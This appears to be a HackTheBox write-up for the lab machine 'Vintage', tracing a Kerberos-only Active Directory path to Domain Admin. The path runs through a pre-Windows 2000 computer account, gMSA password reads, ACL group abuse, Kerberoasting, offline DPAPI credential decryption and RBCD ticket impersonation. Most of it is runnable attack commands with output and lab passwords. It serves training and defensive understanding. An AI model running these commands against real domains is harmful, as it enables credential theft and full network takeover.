HTB: Vintage Writeup
Vintage - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Vintage |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.42.104 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Vintage is a hard-difficulty Windows Active Directory box built around an “assumed breach” scenario — the attacker starts with one set of low-privileged domain credentials against dc01.vintage.htb (10.129.42.104). The domain runs NTLM authentication disabled, forcing every single hop of the chain through Kerberos. There is no PKI/ADCS component at all; the entire path to Domain Admin is built from stacked Active Directory ACL misconfigurations: a legacy pre-Windows 2000 computer account with a predictable password, a gMSA whose managed password is readable by Domain Computers, a group with GenericWrite over a disabled service account, a cracked Kerberoast hash that got reused on a real user, a Credential Manager secret protected only by DPAPI, and finally a Resource-Based Constrained Delegation (RBCD) primitive engineered through a chain of AddSelf/GenericWrite grants.
TL;DR: Kerberos-only auth confirmed (NTLM disabled) → P.Rosa assumed-breach creds → pre-Windows 2000 computer account FS01$ (password = fs01) → FS01$ reads GMSA01$ managed password via ReadGMSAPassword → GMSA01$ adds itself to ServiceManagers → ServiceManagers has GenericWrite on disabled account svc_sql → re-enable + set SPN → Kerberoast → crack Zer0the0ne → password reuse on C.Neri → WinRM → user.txt → offline DPAPI decryption of C.Neri’s Credential Manager blob recovers c.neri_adm:Uncr4ck4bl3P4ssW0rd0312 → c.neri_adm adds FS01$ to DelegatedAdmins (holds RBCD rights on DC01$) → S4U2self/S4U2proxy as FS01$ impersonating Domain Admin L.BIANCHI_ADM with an HTTP alt-service → WinRM as Domain Admin → root.txt.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.42.104Results: 10.129.42.104 came back as a Windows Domain Controller (dc01.vintage.htb) for the vintage.htb domain, exposing the standard AD service set: Kerberos (88), LDAP/LDAPS (389/636/3268/3269), SMB (445), kpasswd (464), WinRM (5985), ADWS (9389), and the usual RPC endpoint mapper ports. No web application surface and no ADCS-related ports — this box was never going to be a certificate-abuse chain.
Service Enumeration
The very first check against the provided assumed-breach credentials confirmed the domain’s defining constraint:
# Sanity-check the low-priv creds over SMB — this is what exposed NTLM being disablednetexec smb 10.129.42.104 -u 'P.Rosa' -p 'Rosaisbest123'# -> STATUS_NOT_SUPPORTEDSTATUS_NOT_SUPPORTED on an SMB/NTLM bind is the signature of RestrictNTLMinDomain or similar GPO enforcement — the DC will not accept an NTLM authentication attempt at all. Every subsequent action in this box therefore has to go through Kerberos: real tickets, real krb5.conf, and clock sync with the DC.
# Kerberos needs realm config + name resolution + a synced clockecho "10.129.42.104 dc01.vintage.htb vintage.htb dc01" | sudo tee -a /etc/hostssudo ntpdate dc01.vintage.htb # or: sudo net time set -S vintage.htb
cat > krb5.conf <<'EOF'[libdefaults]default_realm = VINTAGE.HTBdns_lookup_realm = falsedns_lookup_kdc = false[realms]VINTAGE.HTB = { kdc = dc01.vintage.htb admin_server = dc01.vintage.htb}[domain_realm].vintage.htb = VINTAGE.HTBvintage.htb = VINTAGE.HTBEOFexport KRB5_CONFIG=$(pwd)/krb5.conf
# Request a TGT for the assumed-breach accountecho 'Rosaisbest123' | kinit P.RosaklistWith a valid TGT for P.Rosa, LDAP-based AD enumeration (Kerberos-authenticated, since NTLM is dead) mapped out the domain’s users, groups, and — critically — the ACLs sitting on top of them.
Vulnerability Assessment
- NTLM completely disabled — Kerberos pre-auth is mandatory for every account touched in this chain.
- Pre-Windows 2000 computer account (
FS01$) present in the domain — when a computer account is created with the legacy “Assign this computer account as a pre-Windows 2000 computer” option, its initial password is set to the lowercasesAMAccountName, and it’s frequently never rotated. ReadGMSAPasswordgranted to Domain Computers on theGMSA01$gMSA object — any domain-joined computer account (including the pre-2k one) can read its live managed password.AddSelf/GenericWriteACL stacking acrossServiceManagers→ a disabled service account (svc_sql), and laterc.neri_adm→DelegatedAdmins— classic ACL-abuse privilege escalation paths, no exploit code required.- Credential Manager secret protected only by DPAPI, decryptable offline once the owning user’s plaintext password is known.
- RBCD configured on the DC itself (
DC01$) viaPrincipalsAllowedToDelegateToAccountpointing at a group (DelegatedAdmins) that a compromised user can add themselves to.
Initial Foothold
Exploitation Path
Step 1 — Confirm the pre-Windows 2000 computer account.
AD enumeration over the P.Rosa LDAP session surfaced a computer account, FS01$, that was a member of the built-in “Pre-Windows 2000 Compatible Access” group — a strong hint (not the misconfiguration itself, just a marker on the object) that the account was provisioned with the legacy pre-2000 flag, meaning its password equals its sAMAccountName in lowercase.
# Verify the pre-2k password convention: password == sAMAccountName.lower()netexec ldap 10.129.42.104 -d vintage.htb -u 'fs01$' -p 'fs01' -k# -> [+] vintage.htb\fs01$:fs01That confirmed it — fs01$ authenticates with the password fs01. This is a legitimate credential, not a brute force: pre-Windows 2000 compatibility accounts are a documented legacy behavior in Active Directory (see TrustedSec’s write-ups on the “Pre-Windows 2000 Computers” group), and it’s a recurring real-world finding in AD assessments where old file-server or print-server joins were never cleaned up.
# Get a Kerberos TGT for the computer accountecho 'fs01' | kinit -f 'fs01$'export KRB5CCNAME=/tmp/krb5cc_fs01klistStep 2 — Abuse ReadGMSAPassword on the gMSA.
FS01$ is a member of Domain Computers, and Domain Computers holds ReadGMSAPassword over the GMSA01$ group-managed service account. gMSA passwords are stored in the msDS-ManagedPassword attribute and are readable by any principal explicitly granted that right — this is by design (it’s how services actually retrieve their gMSA credentials at runtime), but it’s also a privilege-escalation primitive when the “allowed to retrieve” list is too broad.
# Pull the gMSA's live managed password blob over LDAP and decode it to an NT hashbloodyAD -d vintage.htb -k --host dc01.vintage.htb get object \ "CN=GMSA01,CN=MANAGED SERVICE ACCOUNTS,DC=VINTAGE,DC=HTB" \ --attr msDS-ManagedPassword
# msDS-ManagedPassword.NTLM -> NT hash: <redacted>
# Authenticate as the gMSA using the recovered NT hash (pass-the-hash over Kerberos via RC4)netexec ldap 10.129.42.104 -d vintage.htb -u 'GMSA01$' -H '<redacted>' -kStep 3 — AddSelf into ServiceManagers.
GMSA01$ carries GenericWrite/AddSelf over the ServiceManagers group, so it can add itself directly:
# GMSA01$ writes itself into a group it's not a member of yetbloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember ServiceManagers 'GMSA01$'# [+] GMSA01$ added to ServiceManagersTo act as GMSA01$ for further Kerberos operations, its NT hash was loaded into a keytab and a fresh TGT requested:
ktutil <<'EOF'addent -p GMSA01$ -k 1 -key -e rc4-hmac<redacted>wkt /tmp/GMSA01.keytabexitEOFkinit -k -t /tmp/GMSA01.keytab -f 'GMSA01$'Step 4 — GenericWrite on the disabled svc_sql account → Kerberoast.
Membership in ServiceManagers grants GenericWrite over several user objects, including svc_sql, which sits disabled. GenericWrite lets an attacker write arbitrary attributes on the target object, including userAccountControl (to clear the ACCOUNTDISABLE bit) and servicePrincipalName (to make the account Kerberoastable — an account only yields a crackable TGS if it has an SPN set):
# Clear the ACCOUNTDISABLE flagbloodyAD -d vintage.htb -k --host dc01.vintage.htb remove uac svc_sql -f ACCOUNTDISABLE
# Give it a fake SPN purely to make it KerberoastablebloodyAD -d vintage.htb -k --host dc01.vintage.htb set object svc_sql \ servicePrincipalName -v 'http/anything'
# Request + dump the TGS, which is encrypted with svc_sql's NT hashnetexec ldap 10.129.42.104 -d vintage.htb -u 'GMSA01$' -H '<redacted>' -k \ --kerberoasting hashes.txt# Offline crack against rockyoujohn --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt# svc_sql -> Zer0the0neStep 5 — Password reuse → foothold.
Zer0the0ne was sprayed across the discovered domain users and hit on C.Neri, who is a member of Remote Management Users, giving direct WinRM access:
echo 'Zer0the0ne' | kinit C.Nerievil-winrm -i dc01.vintage.htb -r vintage.htb*Evil-WinRM* PS C:\Users\C.Neri\Desktop> type user.txt<redacted>Privilege Escalation
Offline DPAPI Credential Theft (no interactive session required)
C.Neri’s WinRM session is a network logon, which by default does not decrypt DPAPI-protected user secrets in-session (no interactive profile master key is unlocked). Rather than fight that with a RunasCs-style logon-type-2 spawn, the DPAPI masterkey and Credential Manager blobs were pulled off disk and decrypted offline, since the plaintext password (Zer0the0ne) is already known:
# Over the evil-winrm session: harvest the two things DPAPI decryption needs# 1. The user's DPAPI masterkey file(s)# %APPDATA%\Microsoft\Protect\<user-SID>\<masterkey-GUID># 2. The Credential Manager blob(s)# %LOCALAPPDATA%\Microsoft\Credentials\<blob>download C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\<SID>\<masterkey-guid>download C:\Users\C.Neri\AppData\Local\Microsoft\Credentials\<blob># Decrypt the masterkey using C.Neri's plaintext password (domain SID required for the derivation)impacket-dpapi masterkey -file <masterkey-guid> -password 'Zer0the0ne' -sid <C.Neri-SID>
# Use the decrypted masterkey to decrypt the Credential Manager blobimpacket-dpapi credential -file <blob> -key <decrypted-masterkey-hex># -> vintage\c.neri_adm : Uncr4ck4bl3P4ssW0rd0312This works because DPAPI derives a user’s masterkey from a key that is itself protected with a value computed from the user’s own password (SHA1 of the NT hash plus the user’s SID, for domain accounts, with a domain backup key as a fallback). Anyone holding the plaintext password can therefore reproduce that derivation and decrypt every DPAPI blob the account owns — no need to be SYSTEM, no need for an interactive desktop session, no need for RunasCs. It’s the same mechanism SharpDPAPI/Invoke-WCMDump automate on-box; here it was done off-box with impacket-dpapi.
RBCD via Chained AddSelf/GenericWrite
With c.neri_adm credentials in hand, further ACL enumeration showed c.neri_adm holds GenericWrite/AddSelf over the DelegatedAdmins group — and DelegatedAdmins is set as the PrincipalsAllowedToDelegateToAccount on the domain controller’s own computer object (DC01$). That’s a textbook Resource-Based Constrained Delegation (RBCD) target: whoever controls a principal listed there can request service tickets as any user against DC01$.
# Authenticate as the admin-tier account recovered from DPAPIecho 'Uncr4ck4bl3P4ssW0rd0312' | kinit c.neri_admexport KRB5CCNAME=/tmp/krb5cc_cneriadm
# Add FS01$ (a computer account we already fully control) into the delegation-eligible groupbloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember DelegatedAdmins 'fs01$'# [+] fs01$ added to DelegatedAdminsFS01$ is now an RBCD-eligible principal against DC01$. Domain Admin Administrator is restricted from network logon on this box, so the impersonation target instead is L.BIANCHI_ADM, a Domain Admin-equivalent account:
# Get a forwardable TGT for FS01$ — S4U delegation requires forwardable=trueecho 'fs01' | kinit -f 'fs01$'export KRB5CCNAME=/tmp/krb5cc_fs01
# S4U2self + S4U2proxy: impersonate L.BIANCHI_ADM against DC01$,# swap the service class to HTTP so the resulting ticket is valid for WinRMimpacket-getST -spn 'cifs/dc01.vintage.htb' \ -altservice 'HTTP/dc01.vintage.htb' \ -impersonate L.BIANCHI_ADM \ -dc-ip 10.129.42.104 \ 'vintage.htb/fs01$:fs01'The -altservice swap matters: RBCD grants a ticket for whatever SPN was requested in S4U2proxy, but WinRM’s HTTP service class differs from the cifs class used to request delegation rights — impacket-getST’s alt-service flag rewrites the service name in the final ticket to HTTP, which evil-winrm needs to authenticate the session as L.BIANCHI_ADM.
# Use the impersonated Domain Admin ticketexport KRB5CCNAME='L.BIANCHI_ADM@HTTP_dc01.vintage.htb@VINTAGE.HTB.ccache'evil-winrm -i dc01.vintage.htb -r vintage.htb*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txte6ad<redacted>Attack Chain Summary
NTLM disabled confirmed (Kerberos-only) → P.Rosa (assumed-breach creds) → LDAP/Kerberos AD enumeration → FS01$ pre-Windows 2000 computer account (password = sAMAccountName.lower()) → ReadGMSAPassword (Domain Computers) → GMSA01$ managed password → AddSelf → ServiceManagers group → GenericWrite → svc_sql (re-enable + set SPN) → Kerberoast → crack "Zer0the0ne" → Password reuse: C.Neri:Zer0the0ne → WinRM → user.txt → Offline DPAPI decrypt (masterkey + Credential Manager blob) → c.neri_adm creds → GenericWrite/AddSelf → DelegatedAdmins (RBCD-eligible on DC01$) → S4U2self/S4U2proxy as FS01$, impersonate L.BIANCHI_ADM, altservice HTTP → WinRM as Domain Admin → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service fingerprinting |
netexec | NTLM-disabled check, LDAP auth verification, Kerberoasting |
kinit / klist / krb5.conf | Kerberos TGT acquisition and management (mandatory — NTLM refused) |
bloodyAD | LDAP-based AD object read/write (gMSA password read, group membership writes, UAC/SPN edits) |
ktutil | Building a keytab from a recovered NT hash for repeatable Kerberos auth |
john | Offline Kerberoast hash cracking |
evil-winrm | WinRM shell access (Kerberos-authenticated) |
impacket-dpapi | Offline DPAPI masterkey + Credential Manager blob decryption |
impacket-getST | S4U2self/S4U2proxy RBCD ticket request with alt-service rewrite |
Key Learnings
Techniques Practiced
- Operating entirely over Kerberos in an NTLM-disabled AD environment (
krb5.conf, time sync, ticket cache management) - Identifying and abusing a pre-Windows 2000 computer account’s predictable password
- Reading a gMSA’s managed password via
ReadGMSAPasswordand converting it to a usable credential - Chained ACL abuse (
AddSelf→GenericWrite) across multiple groups to escalate from a computer account to a Kerberoastable user - Re-enabling a disabled account and forcing it Kerberoastable by writing an arbitrary SPN
- Offline DPAPI masterkey/blob decryption using a known plaintext password, without needing an interactive logon
- Engineering an RBCD primitive from raw ACL writes rather than a pre-existing
msDS-AllowedToActOnBehalfOfOtherIdentitymisconfiguration - S4U2self/S4U2proxy with an alt-service swap to make an RBCD ticket valid for a different application protocol (WinRM vs. CIFS)
Lessons Learned
- NTLM being disabled doesn’t stop AD exploitation — it just forces every step through Kerberos. Tooling and workflow have to adapt (
krb5.conf, ticket caches,-kflags everywhere), but ACL abuse chains are protocol-agnostic. - Legacy “pre-Windows 2000 compatible” computer accounts are a real, recurring finding, not a CTF-only trick — any AD environment with old joins can carry this same predictable-password exposure.
ReadGMSAPasswordis a legitimate operational necessity for services, but over-broad grants (e.g., to Domain Computers) turn any computer account into a path to that gMSA’s live credential.- DPAPI-protected secrets are only as safe as the owning account’s password. Once you have the plaintext, Credential Manager entries, saved RDP creds, and browser secrets can all be decrypted offline — no need for SYSTEM or an interactive session on the host.
- RBCD doesn’t require finding an existing misconfigured
msDS-AllowedToActOnBehalfOfOtherIdentityattribute. If you can write to it (directly, or via group membership on a principal already listed there), you can build the delegation primitive yourself. - Blocking
Administratorfrom network logon doesn’t close the Domain Admin door — any other Domain Admin-equivalent account works just as well as an S4U impersonation target.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- 0xEr3bus, “Vintage” — official HackTheBox writeup (17 April 2025) — used only to confirm the conceptual mechanics of the pre-Windows 2000 computer account behavior, the
ReadGMSAPassword/RBCD primitives, and the reasoning behind theHTTPalt-service ticket swap. All IPs, credentials, command output, and hash values in this writeup are from this run against10.129.42.104, not from the reference.